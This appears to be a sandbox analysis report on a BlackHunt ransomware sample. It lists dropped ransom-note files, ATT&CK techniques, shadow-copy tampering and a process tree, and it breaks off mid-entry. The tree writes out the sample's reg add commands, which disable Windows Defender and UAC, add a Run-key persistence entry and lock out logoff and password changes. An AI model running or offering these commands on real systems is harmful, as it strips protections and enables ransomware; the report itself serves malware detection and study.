File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_ReadMe.hta	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_ReadMe.hta	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_ReadMe.hta	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\dotnet\shared\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_ReadMe.hta	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.hta	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\dotnet\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\he.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_ReadMe.hta	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\legal\jdk\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.hta	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mr.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\CheckpointSearch.wm	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.hta	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nn.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jdk-1.8\legal\jdk\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\is.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sv.txt	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File opened for modification	C:\Program Files\CopyReset.html	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_Private.key	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5668	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3048	vssadmin.exe
5648	vssadmin.exe
5724	vssadmin.exe
5736	vssadmin.exe
5676	vssadmin.exe
6128	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5128	taskkill.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5844	PING.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
Token: SeRestorePrivilege	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
Token: SeBackupPrivilege	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
Token: SeTakeOwnershipPrivilege	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
Token: SeAuditPrivilege	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
Token: SeSecurityPrivilege	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
Token: SeIncBasePriorityPrivilege	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
Token: SeBackupPrivilege	5572	vssvc.exe
Token: SeRestorePrivilege	5572	vssvc.exe
Token: SeAuditPrivilege	5572	vssvc.exe
Token: SeBackupPrivilege	2476	wbengine.exe
Token: SeRestorePrivilege	2476	wbengine.exe
Token: SeSecurityPrivilege	2476	wbengine.exe
Token: SeSecurityPrivilege	5700	wevtutil.exe
Token: SeBackupPrivilege	5700	wevtutil.exe
Token: SeSecurityPrivilege	5280	wevtutil.exe
Token: SeBackupPrivilege	5280	wevtutil.exe
Token: SeSecurityPrivilege	1428	wevtutil.exe
Token: SeBackupPrivilege	1428	wevtutil.exe
Token: SeSecurityPrivilege	5028	wevtutil.exe
Token: SeBackupPrivilege	5028	wevtutil.exe
Token: SeSecurityPrivilege	3164	wevtutil.exe
Token: SeBackupPrivilege	3164	wevtutil.exe
Token: SeDebugPrivilege	5128	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 3280	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	91
PID 2356 wrote to memory of 3280	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	91
PID 2356 wrote to memory of 2304	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	93
PID 2356 wrote to memory of 2304	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	93
PID 2356 wrote to memory of 540	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	95
PID 2356 wrote to memory of 540	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	95
PID 2356 wrote to memory of 4912	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	97
PID 2356 wrote to memory of 4912	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	97
PID 2356 wrote to memory of 4620	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	99
PID 2356 wrote to memory of 4620	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	99
PID 2356 wrote to memory of 2408	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	102
PID 2356 wrote to memory of 2408	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	102
PID 2356 wrote to memory of 3704	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	101
PID 2356 wrote to memory of 3704	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	101
PID 2356 wrote to memory of 2672	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	116
PID 2356 wrote to memory of 2672	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	116
PID 2356 wrote to memory of 60	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	105
PID 2356 wrote to memory of 60	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	105
PID 2356 wrote to memory of 916	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	114
PID 2356 wrote to memory of 916	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	114
PID 2356 wrote to memory of 3200	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	107
PID 2356 wrote to memory of 3200	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	107
PID 2356 wrote to memory of 1812	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	109
PID 2356 wrote to memory of 1812	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	109
PID 2356 wrote to memory of 2268	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	108
PID 2356 wrote to memory of 2268	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	108
PID 2356 wrote to memory of 4304	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	115
PID 2356 wrote to memory of 4304	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	115
PID 2356 wrote to memory of 1840	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	121
PID 2356 wrote to memory of 1840	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	121
PID 2356 wrote to memory of 3352	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	119
PID 2356 wrote to memory of 3352	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	119
PID 2356 wrote to memory of 840	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	124
PID 2356 wrote to memory of 840	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	124
PID 2356 wrote to memory of 844	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	122
PID 2356 wrote to memory of 844	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	122
PID 2356 wrote to memory of 4808	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	123
PID 2356 wrote to memory of 4808	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	123
PID 2356 wrote to memory of 4080	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	129
PID 2356 wrote to memory of 4080	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	129
PID 2356 wrote to memory of 1000	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	128
PID 2356 wrote to memory of 1000	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	128
PID 2356 wrote to memory of 1612	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	168
PID 2356 wrote to memory of 1612	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	168
PID 2356 wrote to memory of 4144	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	131
PID 2356 wrote to memory of 4144	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	131
PID 2356 wrote to memory of 2628	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	134
PID 2356 wrote to memory of 2628	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	134
PID 2356 wrote to memory of 5008	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	136
PID 2356 wrote to memory of 5008	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	136
PID 2356 wrote to memory of 1548	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	139
PID 2356 wrote to memory of 1548	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	139
PID 2356 wrote to memory of 3120	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	149
PID 2356 wrote to memory of 3120	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	149
PID 2356 wrote to memory of 2100	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	147
PID 2356 wrote to memory of 2100	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	147
PID 2356 wrote to memory of 3356	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	140
PID 2356 wrote to memory of 3356	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	140
PID 3280 wrote to memory of 4492	3280	cmd.exe	141
PID 3280 wrote to memory of 4492	3280	cmd.exe	141
PID 2356 wrote to memory of 4264	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	143
PID 2356 wrote to memory of 4264	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	143
PID 2304 wrote to memory of 3860	2304	cmd.exe	150
PID 2356 wrote to memory of 4192	2356	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe	151

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe
"C:\Users\Admin\AppData\Local\Temp\e7c5d1bfac6918a71a25eb51f9b8111a685b713ca3e232694388358391342d6e.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:4912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:4620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:3704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:5248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:60
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:5316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:5492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:5428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:5332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:4304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:5392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:5324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:5460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:840
- - C:\Windows\system32\reg.exe
